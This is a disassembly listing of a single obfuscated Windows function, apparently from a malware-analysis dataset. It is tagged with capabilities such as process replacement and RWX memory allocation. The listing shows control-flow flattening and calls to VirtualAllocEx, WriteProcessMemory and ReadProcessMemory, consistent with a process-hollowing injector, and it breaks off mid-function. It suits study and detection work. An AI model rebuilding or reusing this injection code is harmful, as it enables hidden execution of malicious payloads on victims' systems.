Function at 0x10003640
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x194
mov eax, dword [0x10074800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x19c], 0x525452ca
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
sub eax, 0x8108748e
je 0x100083c6
jmp 0x1000367c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81623698
je 0x10006601
jmp 0x10003692
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81676109
je 0x10008e5e
jmp 0x100036a8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x819ff66c
je 0x1000b494
jmp 0x100036be
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81b0fcd5
je 0x100095fa
jmp 0x100036d4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82b04768
je 0x1000c3f0
jmp 0x100036ea
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8304ab9d
je 0x1000b29f
jmp 0x10003700
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85b0c6b6
je 0x1000b3f8
jmp 0x10003716
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85cf1236
je 0x1000bf58
jmp 0x1000372c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x861d3018
je 0x1000a4d6
jmp 0x10003742
mov eax, dword [ebp - 0x1a0]
sub eax, 0x865615f9
je 0x100099d4
jmp 0x10003758
mov eax, dword [ebp - 0x1a0]
sub eax, 0x87e9c15d
je 0x1000b034
jmp 0x1000376e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88277b22
je 0x1000a66d
jmp 0x10003784
mov eax, dword [ebp - 0x1a0]
sub eax, 0x89546c6d
je 0x10008c11
jmp 0x1000379a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x896269b3
je 0x1000773d
jmp 0x100037b0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x89c975a8
je 0x10007012
jmp 0x100037c6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x89da003d
je 0x1000bfd4
jmp 0x100037dc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a3ab89f
je 0x1000c41c
jmp 0x100037f2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8bee0d51
je 0x1000a79d
jmp 0x10003808
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8bfc13a9
je 0x10007619
jmp 0x1000381e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8cfbbb3f
je 0x1000a2e9
jmp 0x10003834
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8dbcaea8
je 0x1000601b
jmp 0x1000384a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8ef934d3
je 0x10008ce2
jmp 0x10003860
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8f7e93b3
je 0x1000a084
jmp 0x10003876
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fc0b081
je 0x100097fa
jmp 0x1000388c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90590d54
je 0x1000be32
jmp 0x100038a2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x920920b8
je 0x1000b25b
jmp 0x100038b8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x929fafec
je 0x10006fba
jmp 0x100038ce
mov eax, dword [ebp - 0x1a0]
sub eax, 0x92bef549
je 0x1000beae
jmp 0x100038e4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x930b0661
je 0x10009574
jmp 0x100038fa
mov eax, dword [ebp - 0x1a0]
sub eax, 0x93344f5a
je 0x10009fcb
jmp 0x10003910
mov eax, dword [ebp - 0x1a0]
sub eax, 0x93c77dfd
je 0x10009ec8
jmp 0x10003926
mov eax, dword [ebp - 0x1a0]
sub eax, 0x945e2239
je 0x1000c2d8
jmp 0x1000393c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x952eb7ec
je 0x10006228
jmp 0x10003952
mov eax, dword [ebp - 0x1a0]
sub eax, 0x957bac70
je 0x1000ac37
jmp 0x10003968
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9584c325
je 0x1000905e
jmp 0x1000397e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x96720f71
je 0x1000c38d
jmp 0x10003994
mov eax, dword [ebp - 0x1a0]
sub eax, 0x96e2af3b
je 0x1000b336
jmp 0x100039aa
mov eax, dword [ebp - 0x1a0]
sub eax, 0x97ad8658
je 0x100077f3
jmp 0x100039c0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98907f4b
je 0x10006698
jmp 0x100039d6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98a6bf81
je 0x1000903f
jmp 0x100039ec
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9988915a
je 0x10006845
jmp 0x10003a02
mov eax, dword [ebp - 0x1a0]
sub eax, 0x99c6248f
je 0x10007ae8
jmp 0x10003a18
mov eax, dword [ebp - 0x1a0]
sub eax, 0x99f93ddd
je 0x1000aa6f
jmp 0x10003a2e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9a678851
je 0x1000907b
jmp 0x10003a44
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b76e9e5
je 0x100085ca
jmp 0x10003a5a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b7d9734
je 0x1000664d
jmp 0x10003a70
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9be0e191
je 0x100082c9
jmp 0x10003a86
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9be51da9
je 0x10008397
jmp 0x10003a9c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9c69c32c
je 0x1000808f
jmp 0x10003ab2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9c6cf5c7
je 0x10007779
jmp 0x10003ac8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9dd27325
je 0x100091d1
jmp 0x10003ade
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9eeb01af
je 0x1000ad2b
jmp 0x10003af4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9fb81c09
je 0x1000843c
jmp 0x10003b0a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa1be0fdc
je 0x1000b77b
jmp 0x10003b20
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa1f00c85
je 0x10006574
jmp 0x10003b36
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa25f07e0
je 0x10006943
jmp 0x10003b4c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa265bffb
je 0x10007d68
jmp 0x10003b62
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa3019eb1
je 0x10007c46
jmp 0x10003b78
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa31c73f0
je 0x1000aeb3
jmp 0x10003b8e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa33ddcca
je 0x10007c0a
jmp 0x10003ba4
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa3712260
je 0x1000c25d
jmp 0x10003bba
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa421b969
je 0x100075fc
jmp 0x10003bd0
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa4a87ffa
je 0x1000bc13
jmp 0x10003be6
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa59cb561
je 0x1000a45f
mov dword [ebp - 0x19c], 0x7faf679c
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x48dbc6c3
sub edx, 1
add edx, 0x48dbc6c3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe69a9316
mov ecx, 0xf3dde948
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x1001924c]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5b1614b
mov ecx, 0xbda63e6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dl, 1
mov eax, 0x31873e65
mov ecx, 0x2e0692d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x31873e65
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3cce1045
mov ecx, 0x732c33e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x5bbca23
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x5ba3bd1a
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa39bd7a
mov ecx, 0xb52707c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x66ad6f9e
mov ecx, 0x7e3c6d0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dl, 1
mov eax, 0x25270a36
mov ecx, 0x8bfc13a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xf5f5cfab
sub edx, 1
sub edx, 0xf5f5cfab
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x92bef549
mov ecx, 0x81af85e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dl, 1
mov eax, 0x783011f4
mov ecx, 0x195555dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x1001935c]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x19c], 0x783011f4
jmp 0x1000c556
movss xmm0, dword [0x10019350]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x19c], 0xb52382e8
jmp 0x1000c556
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xd4bc9d65
sub edx, 1
sub edx, 0xd4bc9d65
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24a92dd1
mov ecx, 0x2ca6d3b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x1001932c]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x19c], 0xf6befa1b
jmp 0x1000c556
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78b973e3
mov ecx, 0x6c71749c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x10019324]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x19c], 0x4d8463a8
jmp 0x1000c556
movss xmm0, dword [0x100191f0]
movss dword [ebp - 0x14c], xmm0
movss xmm0, dword [0x100191ec]
movss dword [ebp - 0x14c], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xa52b747c
sub edx, 1
add edx, 0xa52b747c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3495fa51
mov ecx, 0x54c63f1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x25b3b3ae
jmp 0x1000c556
movss xmm0, dword [0x10019304]
movss dword [ebp - 0x14c], xmm0
movss xmm0, dword [0x10019300]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x19c], 0x8108748e
jmp 0x1000c556
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x944ec634
sub edx, 1
add edx, 0x944ec634
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdabc813c
mov ecx, 0x9fb81c09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdabc813c
mov ecx, 0x616c1861
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x100191e0]
movss dword [ebp - 0x14c], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd29de295
mov ecx, 0x603fb272
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dl, 1
mov eax, 0x25cde415
mov ecx, 0x62615ac9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x100191cc]
movss dword [ebp - 0x150], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x389e06f5
sub edx, 1
add edx, 0x389e06f5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39497c3f
mov ecx, 0xd488106
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0xc84eca8d
sub edx, 1
add edx, 0xc84eca8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfc0c6751
mov ecx, 0xf4bf2b2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x100192c4]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x19c], 0x9584c325
jmp 0x1000c556
mov dl, 1
mov eax, 0xbc6404da
mov ecx, 0x9a678851
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x100192c0]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x19c], 0xd28b3b4c
jmp 0x1000c556
movss xmm0, dword [0x100191bc]
movss dword [ebp - 0x154], xmm0
movss xmm0, dword [0x100191b8]
movss dword [ebp - 0x154], xmm0
movss xmm0, dword [0x100191b4]
movss dword [ebp - 0x154], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5049146d
mov ecx, 0x24b934a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
movss xmm0, dword [0x100191ac]
movss dword [ebp - 0x154], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0xd4d9b063
sub edx, 1
add edx, 0xd4d9b063
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf03b6185
mov ecx, 0x81b0fcd5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x6900eef8
jmp 0x1000c556
mov dword [ebp - 0x19c], 0xf1455487
jmp 0x1000c556
movss xmm0, dword [0x10019288]
movss dword [ebp - 0x158], xmm0
movss xmm0, dword [0x10019284]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x19c], 0x50c4eab2
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xd439aa49
sub edx, 1
sub edx, 0xd439aa49
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c21502b
mov ecx, 0xe09f6bf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79bf5db5
mov ecx, 0x743d70e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x54800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x19c], 0xe95b81c2
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xc2ce7bcb
sub edx, 1
sub edx, 0xc2ce7bcb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x945e2239
mov ecx, 0x6babdf05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x19c], 0xc6746dd4
jmp 0x1000c556
mov ecx, dword [ebp - 0xec]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0x647c177d
mov ecx, 0xe10f9ebc
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x19c], 0x647c177d
jmp 0x1000c556
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xd0]
mov esi, dword [ebp - 0xcc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x128]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100033f0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x138]
mov esi, dword [eax]
mov eax, dword [ebp - 0x128]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x7502e7ff
mov ecx, 0x1814a853
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
add esi, 0xd36097ab
add esi, eax
sub esi, 0xd36097ab
mov edx, dword [ebp - 0xc8]
mov eax, 0x7502e7ff
mov ecx, 0xc1160edd
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xbc]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x138]
mov edx, dword [edx]
mov esi, dword [ebp - 0x128]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0xba93a4b6
sub eax, edx
sub eax, 0xba93a4b6
add ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x84b8c583
sub edx, 1
add edx, 0x84b8c583
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96720f71
mov ecx, 0x9dec035
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82b04768
mov ecx, 0xbc63989f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov dl, byte [ebp - 0xad]
mov eax, 0x555c0458
mov ecx, 0xcc3ae9fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub eax, 0x69b2d48d
sub eax, 8
add eax, 0x69b2d48d
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x19c], 0x8304ab9d
jmp 0x1000c556
mov ecx, dword [ebp - 0xa0]
shr ecx, 1
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x168]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x19c], 0x301098ba
jmp 0x1000c556
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xaaef1f8f
or eax, edx
or ecx, 0xaaef1f8f
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x91], al
mov dword [ebp - 0x19c], 0xdc065749
jmp 0x1000c556
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0x55f53b86
or edx, ecx
or eax, 0x55f53b86
xor edx, 0xffffffff
and edx, eax
mov ecx, dword [ebp - 0x90]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x13a16c18
mov ecx, 0x819ff66c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xd0b7862b
sub edx, 1
sub edx, 0xd0b7862b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a0fb47c
mov ecx, 0x732b5e7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000c556
mov ecx, dword [ebp - 0x7c]
sub ecx, 0xa05d1c6f
add ecx, 1
add ecx, 0xa05d1c6f
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x19c], 0x301098ba
jmp 0x1000c556
movss xmm0, dword [0x10019260]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001925c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x19c], 0x9e44b62
jmp 0x1000c556
movss xmm0, dword [0x10019218]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x10019214]
movss dword [ebp - 0x140], xmm0
